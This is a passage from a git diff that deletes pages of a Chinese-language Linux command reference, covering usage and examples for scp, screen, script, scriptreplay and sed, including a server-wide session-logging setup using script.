上传本地文件到远程机器指定目录

-
scp /opt/soft/nginx-0.5.38.tar.gz root@10.10.10.10:/opt/soft/scptest
-# 指定端口 2222
-scp -rp -P 2222 /opt/soft/nginx-0.5.38.tar.gz root@10.10.10.10:/opt/soft/scptest
-
-

复制本地/opt/soft/目录下的文件nginx-0.5.38.tar.gz到远程机器10.10.10.10的opt/soft/scptest目录。

-

上传本地目录到远程机器指定目录

-
scp -r /opt/soft/mongodb root@10.10.10.10:/opt/soft/scptest
-
-

上传本地目录/opt/soft/mongodb到远程机器10.10.10.10上/opt/soft/scptest的目录中去。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/screen.html b/linux-command.docset/Contents/Resources/Documents/c/screen.html deleted file mode 100644 index a4d2c5dccb..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/screen.html +++ /dev/null @@ -1,207 +0,0 @@ - - - - - - - - - - - screen 命令,Linux screen 命令详解:用于命令行终端切换 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

screen

-

用于命令行终端切换

-

补充说明

-

Screen 是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换。GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能。

-

会话恢复

-

只要Screen本身没有终止,在其内部运行的会话都可以恢复。这一点对于远程登录的用户特别有用——即使网络连接中断,用户也不会失去对已经打开的命令行会话的控制。只要再次登录到主机上执行screen -r就可以恢复会话的运行。同样在暂时离开的时候,也可以执行分离命令detach,在保证里面的程序正常运行的情况下让Screen挂起(切换到后台)。这一点和图形界面下的VNC很相似。

-

多窗口

-

在Screen环境下,所有的会话都独立的运行,并拥有各自的编号、输入、输出和窗口缓存。用户可以通过快捷键在不同的窗口下切换,并可以自由的重定向各个窗口的输入和输出。Screen实现了基本的文本操作,如复制粘贴等;还提供了类似滚动条的功能,可以查看窗口状况的历史记录。窗口还可以被分区和命名,还可以监视后台窗口的活动。 会话共享 Screen可以让一个或多个用户从不同终端多次登录一个会话,并共享会话的所有特性(比如可以看到完全相同的输出)。它同时提供了窗口访问权限的机制,可以对窗口进行密码保护。

-

GNU's Screen 官方站点:http://www.gnu.org/software/screen/

-

语法

-
# screen -AmRvx -[ls -wipe][-d <作业名称>][-h <行数>][-r <作业名称>][-s ][-S <作业名称>]
-
-

选项

-
-A  将所有的视窗都调整为目前终端机的大小。
--d <作业名称>  将指定的screen作业离线。
--h <行数>  指定视窗的缓冲区行数。
--m  即使目前已在作业中的screen作业,仍强制建立新的screen作业。
--r <作业名称>  恢复离线的screen作业。
--R  先试图恢复离线的作业。若找不到离线的作业,即建立新的screen作业。
--s  指定建立新视窗时,所要执行的shell。
--S <作业名称>  指定screen作业的名称。
--v  显示版本信息。
--x  恢复之前离线的screen作业。
--ls或--list  显示目前所有的screen作业。
--wipe  检查目前所有的screen作业,并删除已经无法使用的screen作业。
-
-

常用screen参数

-
screen -S yourname -> 新建一个叫yourname的session
-screen -ls -> 列出当前所有的session
-screen -r yourname -> 回到yourname这个session
-screen -d yourname -> 远程detach某个session
-screen -d -r yourname -> 结束当前session并回到yourname这个session
-
-

在每个screen session 下,所有命令都以 ctrl+a(C-a) 开始。

-
C-a ? -> 显示所有键绑定信息
-C-a c -> 创建一个新的运行shell的窗口并切换到该窗口
-C-a n -> Next,切换到下一个 window 
-C-a p -> Previous,切换到前一个 window 
-C-a 0..9 -> 切换到第 0..9 个 window
-Ctrl+a [Space] -> 由视窗0循序切换到视窗9
-C-a C-a -> 在两个最近使用的 window 间切换 
-C-a x -> 锁住当前的 window,需用用户密码解锁
-C-a d -> detach,暂时离开当前session,将目前的 screen session (可能含有多个 windows) 丢到后台执行,并会回到还没进 screen 时的状态,此时在 screen session 里,每个 window 内运行的 process (无论是前台/后台)都在继续执行,即使 logout 也不影响。 
-C-a z -> 把当前session放到后台执行,用 shell 的 fg 命令则可回去。
-C-a w -> 显示所有窗口列表
-C-a t -> time,显示当前时间,和系统的 load 
-C-a k -> kill window,强行关闭当前的 window
-C-a  -> 进入 copy mode,在 copy mode 下可以回滚、搜索、复制就像用使用 [vi 一样
-    C-b Backward,PageUp 
-    C-f Forward,PageDown 
-    H(大写) High,将光标移至左上角 
-    L Low,将光标移至左下角 
-    0 移到行首 
-    $ 行末 
-    w forward one word,以字为单位往前移 
-    b backward one word,以字为单位往后移 
-    Space 第一次按为标记区起点,第二次按为终点 
-    Esc 结束 copy mode 
-C-a ] -> paste,把刚刚在 copy mode 选定的内容贴上
-
-

使用 screen

-

安装screen

-

流行的Linux发行版(例如Red Hat Enterprise Linux)通常会自带screen实用程序,如果没有的话,可以从GNU screen的官方网站下载。

-
[root@TS-DEV ~]# yum install screen
-[root@TS-DEV ~]# rpm -qa|grep screen
-screen-4.0.3-4.el5
-[root@TS-DEV ~]#
-
-

创建一个新的窗口

-

安装完成后,直接敲命令screen就可以启动它。但是这样启动的screen会话没有名字,实践上推荐为每个screen会话取一个名字,方便分辨:

-
[root@TS-DEV ~]# screen -S david 
-
-

screen启动后,会创建第一个窗口,也就是窗口No. 0,并在其中打开一个系统默认的shell,一般都会是bash。所以你敲入命令screen之后,会立刻又返回到命令提示符,仿佛什么也没有发生似的,其实你已经进入Screen的世界了。当然,也可以在screen命令之后加入你喜欢的参数,使之直接打开你指定的程序,例如:

-
[root@TS-DEV ~]# screen vi david.txt
-
-

screen创建一个执行vi david.txt的单窗口会话,退出vi 将退出该窗口/会话。

-

查看窗口和窗口名称

-

打开多个窗口后,可以使用快捷键C-a w列出当前所有窗口。如果使用文本终端,这个列表会列在屏幕左下角,如果使用X环境下的终端模拟器,这个列表会列在标题栏里。窗口列表的样子一般是这样:

-
0$ bash  1-$ bash  2*$ bash  
-
-

这个例子中我开启了三个窗口,其中*号表示当前位于窗口2,-号表示上一次切换窗口时位于窗口1。

-

Screen默认会为窗口命名为编号和窗口中运行程序名的组合,上面的例子中窗口都是默认名字。练习了上面查看窗口的方法,你可能就希望各个窗口可以有不同的名字以方便区分了。可以使用快捷键C-a A来为当前窗口重命名,按下快捷键后,Screen会允许你为当前窗口输入新的名字,回车确认。

-

会话分离与恢复

-

你可以不中断screen窗口中程序的运行而暂时断开(detach)screen会话,并在随后时间重新连接(attach)该会话,重新控制各窗口中运行的程序。例如,我们打开一个screen窗口编辑/tmp/david.txt文件:

-
[root@TS-DEV ~]# screen vi /tmp/david.txt
-
-

之后我们想暂时退出做点别的事情,比如出去散散步,那么在screen窗口键入C-a d,Screen会给出detached提示:

-

暂时中断会话

-

半个小时之后回来了,找到该screen会话:

-
[root@TS-DEV ~]# screen -ls
-
-

重新连接会话:

-
[root@TS-DEV ~]# screen -r 12865
-
-

一切都在。

-

当然,如果你在另一台机器上没有分离一个Screen会话,就无从恢复会话了。这时可以使用下面命令强制将这个会话从它所在的终端分离,转移到新的终端上来:

-

清除dead 会话

-

如果由于某种原因其中一个会话死掉了(例如人为杀掉该会话),这时screen -list会显示该会话为dead状态。使用screen -wipe命令清除该会话:

-

关闭或杀死一个Screen会话

-

正常情况下,当你退出一个窗口中最后一个程序(通常是bash)后,这个窗口就关闭了。另一个关闭窗口的方法是使用ctrl+a 键,然后按下k键,最后当提示你是否要杀死这个会话时按下y键,这个快捷键会杀死当前的窗口,同时也将杀死这个窗口中正在运行的进程。

-

如果一个Screen会话中最后一个窗口被关闭了,那么整个Screen会话也就退出了,screen进程会被终止。

-

除了依次退出/杀死当前Screen会话中所有窗口这种方法之外,还可以使用快捷键C-a :,然后输入quit命令退出Screen会话。需要注意的是,这样退出会杀死所有窗口并退出其中运行的所有程序。其实C-a :这个快捷键允许用户直接输入的命令有很多,包括分屏可以输入split等,这也是实现Screen功能的一个途径,不过个人认为还是快捷键比较方便些。

-

此外,这里再介绍另外一种快速杀死一个Screen会话的命令:

-
[root@TS-DEV ~]# screen -ls   #列出存在的会话
-[root@TS-DEV ~]# screen -XS "会话id或者名称" quit
-
-

示例:

-
[root@TS-DEV ~]# screen -ls
-There are screens on:
-	11235.test	(01/25/2021 03:35:31 PM)	(Detached)
-1 Sockets in /run/screen/S-root.
-[root@TS-DEV ~]# screen -XS 11235 quit
-#或者
-[root@TS-DEV ~]# screen -XS test quit
-
-

screen 高级应用 

-

会话共享

-

还有一种比较好玩的会话恢复,可以实现会话共享。假设你在和朋友在不同地点以相同用户登录一台机器,然后你创建一个screen会话,你朋友可以在他的终端上命令:

-
[root@TS-DEV ~]# screen -x
-
-

这个命令会将你朋友的终端Attach到你的Screen会话上,并且你的终端不会被Detach。这样你就可以和朋友共享同一个会话了,如果你们当前又处于同一个窗口,那就相当于坐在同一个显示器前面,你的操作会同步演示给你朋友,你朋友的操作也会同步演示给你。当然,如果你们切换到这个会话的不同窗口中去,那还是可以分别进行不同的操作的。

-

会话锁定与解锁

-

Screen允许使用快捷键C-a s锁定会话。锁定以后,再进行任何输入屏幕都不会再有反应了。但是要注意虽然屏幕上看不到反应,但你的输入都会被Screen中的进程接收到。快捷键C-a q可以解锁一个会话。

-

也可以使用C-a x锁定会话,不同的是这样锁定之后,会话会被Screen所属用户的密码保护,需要输入密码才能继续访问这个会话。

-

发送命令到screen会话

-

在Screen会话之外,可以通过screen命令操作一个Screen会话,这也为使用Screen作为脚本程序增加了便利。关于Screen在脚本中的应用超出了入门的范围,这里只看一个例子,体会一下在会话之外对Screen的操作:

-
[root@TS-DEV ~]# screen -S sandy -X screen ping www.baidu.com
-
-

这个命令在一个叫做sandy的screen会话中创建一个新窗口,并在其中运行ping命令。

-

屏幕分割

-

现在显示器那么大,将一个屏幕分割成不同区域显示不同的Screen窗口显然是个很酷的事情。可以使用快捷键C-a S将显示器水平分割,Screen 4.00.03版本以后,也支持垂直分屏,快捷键是C-a |。分屏以后,可以使用C-a 在各个区块间切换,每一区块上都可以创建窗口并在其中运行进程。

-

可以用C-a X快捷键关闭当前焦点所在的屏幕区块,也可以用C-a Q关闭除当前区块之外其他的所有区块。关闭的区块中的窗口并不会关闭,还可以通过窗口切换找到它。

-

C/P模式和操作

-

screen的另一个很强大的功能就是可以在不同窗口之间进行复制粘贴了。使用快捷键C-a 或者C-a [可以进入copy/paste模式,这个模式下可以像在vi中一样移动光标,并可以使用空格键设置标记。其实在这个模式下有很多类似vi的操作,譬如使用/进行搜索,使用y快速标记一行,使用w快速标记一个单词等。关于C/P模式下的高级操作,其文档的这一部分有比较详细的说明。

-

一般情况下,可以移动光标到指定位置,按下空格设置一个开头标记,然后移动光标到结尾位置,按下空格设置第二个标记,同时会将两个标记之间的部分储存在copy/paste buffer中,并退出copy/paste模式。在正常模式下,可以使用快捷键C-a ]将储存在buffer中的内容粘贴到当前窗口。

-

更多screen功能

-

同大多数UNIX程序一样,GNU Screen提供了丰富强大的定制功能。你可以在Screen的默认两级配置文件/etc/screenrc和$HOME/.screenrc中指定更多,例如设定screen选项,定制绑定键,设定screen会话自启动窗口,启用多用户模式,定制用户访问权限控制等等。如果你愿意的话,也可以自己指定screen配置文件。

-

以多用户功能为例,screen默认是以单用户模式运行的,你需要在配置文件中指定multiuser on 来打开多用户模式,通过acl*(acladd,acldel,aclchg...)命令,你可以灵活配置其他用户访问你的screen会话。更多配置文件内容请参考screen的man页。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/script.html b/linux-command.docset/Contents/Resources/Documents/c/script.html deleted file mode 100644 index cfcbeb7012..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/script.html +++ /dev/null @@ -1,157 +0,0 @@ - - - - - - - - - - - script 命令,Linux script 命令详解:记录终端会话的所有操作 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

script

-

记录终端会话的所有操作

-

补充说明

-

script 用于在终端会话中,记录用户的所有操作和命令的输出信息。简而言之,记录终端会话发生的一切信息,如同一台终端录像机。例如,用户在输入某条命令时,字符的键入和删除也都会被记录。用户在终端的所有操作、终端的回显等信息会被以 raw 格式存储在日志文件,称为终端数据文件。命令的时间信息会被单独以另一种结构储存为日志文件,称为时间日志文件。使用命令exit或者快捷键Ctrl + D停止记录。

-

语法

-
script(选项)(参数)
-
-

选项

-
-a, --append              # 对终端会话的操作信息,以追加方式写入文件(保留原文件内容)
--c, --command command     # 只运行 command 命令而不打开交互终端。相当于开启 script ,执行 command ,再退出 script
-                          # command 可以是任意能够在终端会话执行的命令
--e, --return              # 返回子进程的退出状态码
--f, --flush               # 每次终端的内容发生变动,立马写入日志文件
---force                   # 允许默认输出终端数据文件为符号链接
--o, --output-limit size   # 限制终端数据文件和时间日志文件的大小,当文件大小达到此限制就会退出子进程
-                          # size 的单位可以设置为:KiB(=1024)、KB(=1000)、MiB(1024*1024)、MB(=1000*1000)
-                          # 同理还支持 GiB TiB PiB EiB ZiB YiB GB TB PB EB ZB YB
--q, --quiet               # 安静模式。启动和退出script命令不显示任何提示
--t[file], --timing[=file] # 输出时间日志信息到标准错误(stderr)或者文件
--V, --version             # 显示版本信息并退出
--h, --help                # 显示帮助文本并退出
-
-

参数

-
    -
  • 终端数据文件:设置存储终端数据信息的文件名称
  • -
-

实例

-
script                             # 开启记录,默认会在当前目录创建名称为 typescript 的文件来保存终端数据文件
-script command.log                 # 开启记录,在当前目录创建名称为 command.log 的文件来保存终端数据文件
-script -t 2>time.file command.log  # 开启记录,在当前目录创建名称为 command.log 的文件来保存终端数据文件
-                                   # 在当前目录创建名称为 time.file 的文件来保存时间日志文件
-
-

以追加模式记录终端信息

-
zfb@localhost:~$ script -t 2>time.file -a -f command.log
-Script started, file is command.log
-zfb@localhost:~$ echo "hello, world"
-hello, world
-zfb@localhost:~$ echo $(date "+%Y-%m-%d %H:%M:%S")
-2020-12-23 20:48:46
-zfb@localhost:~$ echo "Bye"
-Bye
-zfb@localhost:~$ ls -al
-total 20
-drwxr-xr-x  2 zfb zfb 4096 Dec 23 20:48 .
-drwxr-xr-x 37 zfb zfb 4096 Dec 23 20:49 ..
--rw-r--r--  1 zfb zfb    0 Dec 23 19:03 a.txt
--rw-r--r--  1 zfb zfb   12 Dec 23 19:04 b.txt
--rw-r--r--  1 zfb zfb 2744 Dec 23 20:49 command.log
--rw-r--r--  1 zfb zfb  790 Dec 23 20:49 time.file
-zfb@localhost:~$ exit
-Script done, file is command.log
-zfb@localhost:~$
-
-

然后,用户可以查看终端数据文件,使用方法如下

-
zfb@localhost:~$ cat command.log
-Script started on 2020-12-23 20:48:25+08:00 [TERM="xterm-256color" TTY="/dev/pts/0" COLUMNS="75" LINES="30"]
-zfb@localhost:~$ echo "hello, world"
-hello, world
-zfb@localhost:~$ echo $(date "+%Y-%m-%d %H:%M:%S")
-2020-12-23 20:48:46
-zfb@localhost:~$ echo "Bye"
-Bye
-zfb@localhost:~$ ls -al
-total 20
-drwxr-xr-x  2 zfb zfb 4096 Dec 23 20:48 .
-drwxr-xr-x 37 zfb zfb 4096 Dec 23 20:49 ..
--rw-r--r--  1 zfb zfb    0 Dec 23 19:03 a.txt
--rw-r--r--  1 zfb zfb   12 Dec 23 19:04 b.txt
--rw-r--r--  1 zfb zfb 2744 Dec 23 20:49 command.log
--rw-r--r--  1 zfb zfb  790 Dec 23 20:49 time.file
-zfb@localhost:~$ exit
-
-Script done on 2020-12-23 20:49:04+08:00 [COMMAND_EXIT_CODE="0"]
-zfb@localhost:~$
-
-

其中,只有命令cat command.log是用户输入,其他均为自动呈现。通过查看上面输出的时间2020-12-23 20:48:46,可以证明,这是重现的记录,而非重新执行一遍命令。也就是说,可以把time.filecommand.log文件移动到任意一台机器上,都可以重现命令输入与终端回显。

-

记录服务器用户会话操作

-

root身份编辑文件/etc/profile,在文件末尾追加以下内容

-
if [ $UID -ge 0 ]
-then
-    exec /usr/bin/script -t 2>/var/log/script-records/$USER-$UID-`date +%Y%m%d`.time -a -f -q /var/log/script-records/$USER-$UID-`date +%Y%m%d`.log
-fi
-
-

然后再以root身份创建文件夹用于存储服务器上的各个用户在终端的所有操作信息

-
sudo mkdir -p /var/log/script-records/
-sudo chmod 733 /var/log/script-records/
-
-

最后,执行命令source /etc/profile即可。任意用户(UID ≥ 0)在终端执行的所有操作都会被安静地记录下来,以天为单位存储。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/scriptreplay.html b/linux-command.docset/Contents/Resources/Documents/c/scriptreplay.html deleted file mode 100644 index f25f5a8b2b..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/scriptreplay.html +++ /dev/null @@ -1,139 +0,0 @@ - - - - - - - - - - - scriptreplay 命令,Linux scriptreplay 命令详解:重新播放终端会话的所有操作 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

scriptreplay

-

重新播放终端会话的所有操作

-

补充说明

-

scriptreplay 用于在终端中,根据 script 命令记录的终端数据文件和时间日志文件,重现当时用户的所有操作和命令的输出信息。简而言之,重现播放当时终端会话发生的一切信息,而不是重新运行一遍命令。例如,用户当时在输入某条命令时,字符的键入和删除也都会被重现。非常适合用于教程演示场合。而且,在机器 A 上面使用 script 命令记录终端操作,可以在机器 B 上面使用 scriptreplay 命令重新播放。

-

语法

-
scriptreplay [options] [-t] timingfile [typescript [divisor]]
-
-

选项

-
-t, --timing file         # 记录时间日志的文件名称
--s, --typescript file     # 记录终端数据信息的日志文件名称
--d, --divisor number      # 表示倍速播放,把时间日志文件记录的时间间隔都除以 number
-                          # -d 2 表示播放速度是原始输入单条命令的速度的两倍,-d 0.1 表示播放单条命令的速度减慢 10 倍
--m, --maxdelay number     # 表示命令之间的最大延迟时间(单位是秒)
-                          # -m 2 表示 command.log 中存放的两条命令之间的间隔时间如果大于两秒,则按两秒执行播放
--V, --version             # 显示版本信息并退出
--h, --help                # 显示帮助文本并退出
-
-

参数

-
    -
  • 时间日志文件:存储时间日志信息的文件名称
  • -
  • 终端数据文件:存储终端数据信息的文件名称
  • -
-

实例

-
# 重新播放终端内容,默认第一个参数是时间日志,第二个参数是终端数据文件
-scriptreplay time.file command.log
-# 重新播放终端内容,播放快进速度为 1 ,命令之间最大延时为 2 秒
-scriptreplay -d 1 -m 2 -t time.file -s command.log
-
-

记录终端内容到文件

-
zfb@localhost:~$ script -t 2>time.file -a -f command.log
-Script started, file is command.log
-zfb@localhost:~$ echo "hello, world"
-hello, world
-zfb@localhost:~$ echo $(date "+%Y-%m-%d %H:%M:%S")
-2020-12-23 20:48:46
-zfb@localhost:~$ echo "Bye"
-Bye
-zfb@localhost:~$ ls -al
-total 20
-drwxr-xr-x  2 zfb zfb 4096 Dec 23 20:48 .
-drwxr-xr-x 37 zfb zfb 4096 Dec 23 20:49 ..
--rw-r--r--  1 zfb zfb    0 Dec 23 19:03 a.txt
--rw-r--r--  1 zfb zfb   12 Dec 23 19:04 b.txt
--rw-r--r--  1 zfb zfb 2744 Dec 23 20:49 command.log
--rw-r--r--  1 zfb zfb  790 Dec 23 20:49 time.file
-zfb@localhost:~$ exit
-Script done, file is command.log
-zfb@localhost:~$
-
-

重新播放终端内容

-
zfb@localhost:~$ scriptreplay -d 1 -m 2 -t time.file -s command.log
-zfb@localhost:~$ echo "hello, world"
-hello, world
-zfb@localhost:~$ echo $(date "+%Y-%m-%d %H:%M:%S")
-2020-12-23 20:48:46
-zfb@localhost:~$ echo "Bye"
-Bye
-zfb@localhost:~$ ls -al
-total 20
-drwxr-xr-x  2 zfb zfb 4096 Dec 23 20:48 .
-drwxr-xr-x 37 zfb zfb 4096 Dec 23 20:49 ..
--rw-r--r--  1 zfb zfb    0 Dec 23 19:03 a.txt
--rw-r--r--  1 zfb zfb   12 Dec 23 19:04 b.txt
--rw-r--r--  1 zfb zfb 2744 Dec 23 20:49 command.log
--rw-r--r--  1 zfb zfb  790 Dec 23 20:49 time.file
-zfb@localhost:~$ exit
-
-zfb@localhost:~$
-
-

其中,只有命令scriptreplay -d 1 -m 2 -t time.file -s command.log是用户输入,其他均为自动呈现(且视觉效果与真实用户的操作一致)。通过查看上面输出的时间2020-12-23 20:48:46,可以证明,这是重新播放当时的记录,而非重新执行一遍命令。也就是说,可以把time.filecommand.log文件移动到任意一台支持scriptreplay命令的机器上,都可以动态重现命令输入与终端回显。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/sed.html b/linux-command.docset/Contents/Resources/Documents/c/sed.html deleted file mode 100644 index 024489fdfb..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/sed.html +++ /dev/null @@ -1,299 +0,0 @@ - - - - - - - - - - - sed 命令,Linux sed 命令详解:功能强大的流式文本编辑器 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

sed

-

功能强大的流式文本编辑器

-

补充说明

-

sed 是一种流编辑器,它是文本处理中非常重要的工具,能够完美的配合正则表达式使用,功能不同凡响。处理时,把当前处理的行存储在临时缓冲区中,称为“模式空间”(pattern space),接着用sed命令处理缓冲区中的内容,处理完成后,把缓冲区的内容送往屏幕。接着处理下一行,这样不断重复,直到文件末尾。文件内容并没有 改变,除非你使用重定向存储输出。Sed主要用来自动编辑一个或多个文件;简化对文件的反复操作;编写转换程序等。

-

sed的选项、命令、替换标记

-

命令格式

-
sed [options] 'command' file(s)
-sed [options] -f scriptfile file(s)
-
-

选项

-
-e<script>或--expression=<script>:以选项中的指定的script来处理输入的文本文件;
--f<script文件>或--file=<script文件>:以选项中指定的script文件来处理输入的文本文件;
--h或--help:显示帮助;
--n或--quiet或——silent:仅显示script处理后的结果;
--V或--version:显示版本信息。
-
-

参数

-

文件:指定待处理的文本文件列表。

-

sed命令

-
a\ # 在当前行下面插入文本。
-i\ # 在当前行上面插入文本。
-c\ # 把选定的行改为新的文本。
-d # 删除,删除选择的行。
-D # 删除模板块的第一行。
-s # 替换指定字符
-h # 拷贝模板块的内容到内存中的缓冲区。
-H # 追加模板块的内容到内存中的缓冲区。
-g # 获得内存缓冲区的内容,并替代当前模板块中的文本。
-G # 获得内存缓冲区的内容,并追加到当前模板块文本的后面。
-l # 列表不能打印字符的清单。
-n # 读取下一个输入行,用下一个命令处理新的行而不是用第一个命令。
-N # 追加下一个输入行到模板块后面并在二者间嵌入一个新行,改变当前行号码。
-p # 打印模板块的行。
-P # (大写) 打印模板块的第一行。
-q # 退出Sed。
-b lable # 分支到脚本中带有标记的地方,如果分支不存在则分支到脚本的末尾。
-r file # 从file中读行。
-t label # if分支,从最后一行开始,条件一旦满足或者T,t命令,将导致分支到带有标号的命令处,或者到脚本的末尾。
-T label # 错误分支,从最后一行开始,一旦发生错误或者T,t命令,将导致分支到带有标号的命令处,或者到脚本的末尾。
-w file # 写并追加模板块到file末尾。  
-W file # 写并追加模板块的第一行到file末尾。  
-! # 表示后面的命令对所有没有被选定的行发生作用。  
-= # 打印当前行号码。  
-# # 把注释扩展到下一个换行符以前。  
-
-

sed替换标记

-
g # 表示行内全面替换。  
-p # 表示打印行。  
-w # 表示把行写入一个文件。  
-x # 表示互换模板块中的文本和缓冲区中的文本。  
-y # 表示把一个字符翻译为另外的字符(但是不用于正则表达式)
-\1 # 子串匹配标记
-& # 已匹配字符串标记
-
-

sed元字符集

-
^ # 匹配行开始,如:/^sed/匹配所有以sed开头的行。
-$ # 匹配行结束,如:/sed$/匹配所有以sed结尾的行。
-. # 匹配一个非换行符的任意字符,如:/s.d/匹配s后接一个任意字符,最后是d。
-* # 匹配0个或多个字符,如:/*sed/匹配所有模板是一个或多个空格后紧跟sed的行。
-[] # 匹配一个指定范围内的字符,如/[sS]ed/匹配sed和Sed。  
-[^] # 匹配一个不在指定范围内的字符,如:/[^A-RT-Z]ed/匹配不包含A-R和T-Z的一个字母开头,紧跟ed的行。
-\(..\) # 匹配子串,保存匹配的字符,如s/\(love\)able/\1rs,loveable被替换成lovers。
-& # 保存搜索字符用来替换其他字符,如s/love/ **&** /,love这成 **love** 。
-\< # 匹配单词的开始,如:/\<love/匹配包含以love开头的单词的行。
-\> # 匹配单词的结束,如/love\>/匹配包含以love结尾的单词的行。
-x\{m\} # 重复字符x,m次,如:/0\{5\}/匹配包含5个0的行。
-x\{m,\} # 重复字符x,至少m次,如:/0\{5,\}/匹配至少有5个0的行。
-x\{m,n\} # 重复字符x,至少m次,不多于n次,如:/0\{5,10\}/匹配5~10个0的行。  
-
-

sed用法实例

-

替换操作:s命令

-

替换文本中的字符串:

-
sed 's/book/books/' file
-
-

-n选项p命令 一起使用表示只打印那些发生替换的行:

-

sed -n 's/test/TEST/p' file

-

直接编辑文件 选项-i ,会匹配file文件中每一行的所有book替换为books:

-
sed -i 's/book/books/g' file
-
-

全面替换标记g

-

使用后缀 /g 标记会替换每一行中的所有匹配:

-
sed 's/book/books/g' file
-
-

当需要从第N处匹配开始替换时,可以使用 /Ng:

-
echo sksksksksksk | sed 's/sk/SK/2g'
-skSKSKSKSKSK
-
-echo sksksksksksk | sed 's/sk/SK/3g'
-skskSKSKSKSK
-
-echo sksksksksksk | sed 's/sk/SK/4g'
-skskskSKSKSK
-
-

定界符

-

以上命令中字符 / 在sed中作为定界符使用,也可以使用任意的定界符:

-
sed 's:test:TEXT:g'
-sed 's|test|TEXT|g'
-
-

定界符出现在样式内部时,需要进行转义:

-
sed 's/\/bin/\/usr\/local\/bin/g'
-
-

删除操作:d命令

-

删除空白行:

-
sed '/^$/d' file
-
-

删除文件的第2行:

-
sed '2d' file
-
-

删除文件的第2行到末尾所有行:

-
sed '2,$d' file
-
-

删除文件最后一行:

-
sed '$d' file
-
-

删除文件中所有开头是test的行:

-
sed '/^test/'d file
-
-

已匹配字符串标记&

-

正则表达式 \w+ 匹配每一个单词,使用 [&] 替换它,& 对应于之前所匹配到的单词:

-
echo this is a test line | sed 's/\w\+/[&]/g'
-[this] [is] [a] [test] [line]
-
-

所有以192.168.0.1开头的行都会被替换成它自已加localhost:

-
sed 's/^192.168.0.1/&localhost/' file
-192.168.0.1localhost
-
-

子串匹配标记\1

-

匹配给定样式的其中一部分:

-
echo this is digit 7 in a number | sed 's/digit \([0-9]\)/\1/'
-this is 7 in a number
-
-

命令中 digit 7,被替换成了 7。样式匹配到的子串是 7,(..) 用于匹配子串,对于匹配到的第一个子串就标记为 \1 ,依此类推匹配到的第二个结果就是 \2 ,例如:

-
echo aaa BBB | sed 's/\([a-z]\+\) \([A-Z]\+\)/\2 \1/'
-BBB aaa
-
-

love被标记为1,所有loveable会被替换成lovers,并打印出来:

-
sed -n 's/\(love\)able/\1rs/p' file
-
-

组合多个表达式

-
sed '表达式' | sed '表达式'
-
-等价于:
-
-sed '表达式; 表达式'
-
-

引用

-

sed表达式可以使用单引号来引用,但是如果表达式内部包含变量字符串,就需要使用双引号。

-
test=hello
-echo hello WORLD | sed "s/$test/HELLO"
-HELLO WORLD
-
-

选定行的范围:,(逗号)

-

所有在模板test和check所确定的范围内的行都被打印:

-
sed -n '/test/,/check/p' file
-
-

打印从第5行开始到第一个包含以test开始的行之间的所有行:

-
sed -n '5,/^test/p' file
-
-

对于模板test和west之间的行,每行的末尾用字符串aaa bbb替换:

-
sed '/test/,/west/s/$/aaa bbb/' file
-
-

多点编辑:e命令

-

-e选项允许在同一行里执行多条命令:

-
sed -e '1,5d' -e 's/test/check/' file
-
-

上面sed表达式的第一条命令删除1至5行,第二条命令用check替换test。命令的执行顺序对结果有影响。如果两个命令都是替换命令,那么第一个替换命令将影响第二个替换命令的结果。

-

和 -e 等价的命令是 --expression:

-
sed --expression='s/test/check/' --expression='/love/d' file
-
-

从文件读入:r命令

-

file里的内容被读进来,显示在与test匹配的行后面,如果匹配多行,则file的内容将显示在所有匹配行的下面:

-
sed '/test/r file' filename
-
-

写入文件:w命令  

-

在example中所有包含test的行都被写入file里:

-
sed -n '/test/w file' example
-
-

追加(行下):a\命令

-

将 this is a test line 追加到 以test 开头的行后面:

-
sed '/^test/a\this is a test line' file
-
-

在 test.conf 文件第2行之后插入 this is a test line:

-
sed -i '2a\this is a test line' test.conf
-
-

插入(行上):i\命令

-

将 this is a test line 追加到以test开头的行前面:

-
sed '/^test/i\this is a test line' file
-
-

在test.conf文件第5行之前插入this is a test line:

-
sed -i '5i\this is a test line' test.conf
-
-

下一个:n命令

-

如果test被匹配,则移动到匹配行的下一行,替换这一行的aa,变为bb,并打印该行,然后继续:

-
sed '/test/{ n; s/aa/bb/; }' file
-
-

变形:y命令

-

把1~10行内所有abcde转变为大写,注意,正则表达式元字符不能使用这个命令:

-
sed '1,10y/abcde/ABCDE/' file
-
-

退出:q命令

-

打印完第10行后,退出sed

-
sed '10q' file
-
-

保持和获取:h命令和G命令

-

在sed处理文件的时候,每一行都被保存在一个叫模式空间的临时缓冲区中,除非行被删除或者输出被取消,否则所有被处理的行都将 打印在屏幕上。接着模式空间被清空,并存入新的一行等待处理。

-
sed -e '/test/h' -e '$G' file
-
-

在这个例子里,匹配test的行被找到后,将存入模式空间,h命令将其复制并存入一个称为保持缓存区的特殊缓冲区内。第二条语句的意思是,当到达最后一行后,G命令取出保持缓冲区的行,然后把它放回模式空间中,且追加到现在已经存在于模式空间中的行的末尾。在这个例子中就是追加到最后一行。简单来说,任何包含test的行都被复制并追加到该文件的末尾。

-

保持和互换:h命令和x命令

-

互换模式空间和保持缓冲区的内容。也就是把包含test与check的行互换:

-
sed -e '/test/h' -e '/check/x' file
-
-

脚本scriptfile

-

